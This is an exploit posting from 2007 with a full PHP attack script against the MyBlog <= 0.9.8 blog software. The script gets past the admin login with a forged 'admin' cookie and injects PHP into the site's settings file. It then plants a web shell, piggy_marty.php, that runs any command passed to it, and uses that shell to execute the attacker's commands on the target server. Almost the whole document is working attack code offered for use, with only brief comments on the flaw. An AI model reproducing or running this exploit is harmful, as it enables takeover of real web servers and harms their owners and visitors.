MyBlog <= 0.9.8 Remote Command Execution Exploit

2007.04.19
Credit: BlackHawk
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/php -q -d short_open_tag=on <? echo " MyBlog <= 0.9.8 Remote Command Execution Exploit by BlackHawk <hawkgotyou (at) gmail (dot) com [email concealed]> <http://itablackhawk.altervista.org> Thanks to rgod for the php code and Marty for the Love "; if ($argc<3) { echo "Usage: php ".$argv[0]." Host Path CMD Host: target server (ip/hostname) Path: path of myblog Example: php ".$argv[0]." localhost /myblog/ CMD"; die; } /* The problem is in all admin files: if(isset($_COOKIE['admin'])) { $name = $_COOKIE['login']; } else { echo "Please Login"; exit; } This easy to bypass function leads to a RCE because we can put PHP code in settings.inc, that is required in many pages.. This exploit create a piggy_marty.php shell on the victim site */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $cmd=urlencode($cmd); $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step0 - See If piggy_marty.php already exists..rn"; $packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=$cmdrn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...rn"; $temp=explode("666999",$html); die("rn".$temp[1]."rn"); } echo "Step1 - Retrieving Configurationrn"; $packet="GET ".$p."admin/settings.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: admin=BlackHawkrn"; $packet.="Connection: Closernrn"; sendpacketii($packet); $temp=explode("<textarea name="content" cols="80" rows="20">", $html); $config_file=explode("</textarea><br /><input type="submit" /></form>", $temp[1]); $new_file = str_replace('?>', ' $fp=fopen('piggy_marty.php','w'); fputs($fp,'<?php error_reporting(0); set_time_limit(0); if (get_magic_quotes_gpc()) { $_GET[cmd]=stripslashes($_GET[cmd]); } echo 666999; passthru($_GET[cmd]); echo 666999; ?>'); fclose($fp); chmod('piggy_marty.php',777); ?>', $config_file[0]); echo "Step2 - Uploading New Data..rn"; $data="content=".urlencode($new_file); $packet="POST ".$p."admin/settings.php HTTP/1.0rn"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*rn"; $packet.="Referer: http://".$host.$path."admin/settings.phprn"; $packet.="Accept-Language: itrn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Accept-Encoding: gzip, deflatern"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: admin=BlackHawkrn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closern"; $packet.="Cache-Control: no-cachernrn"; $packet.=$data; sendpacketii($packet); echo "Step3 - Executing Shell Makerrn"; $packet="GET ".$p."index.php HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: rn"; $packet.="Connection: Closernrn"; sendpacketii($packet); sleep(3); echo "Step4 - Executing Shell..rn"; $packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0rn"; $packet.="Host: ".$host."rn"; $packet.="Cookie: cmd=$cmdrn"; $packet.="Connection: Closernrn"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...rn"; $temp=explode("666999",$html); die("rn".$temp[1]."rn"); } # Coded With BH Fast Generator v0.1 ?>


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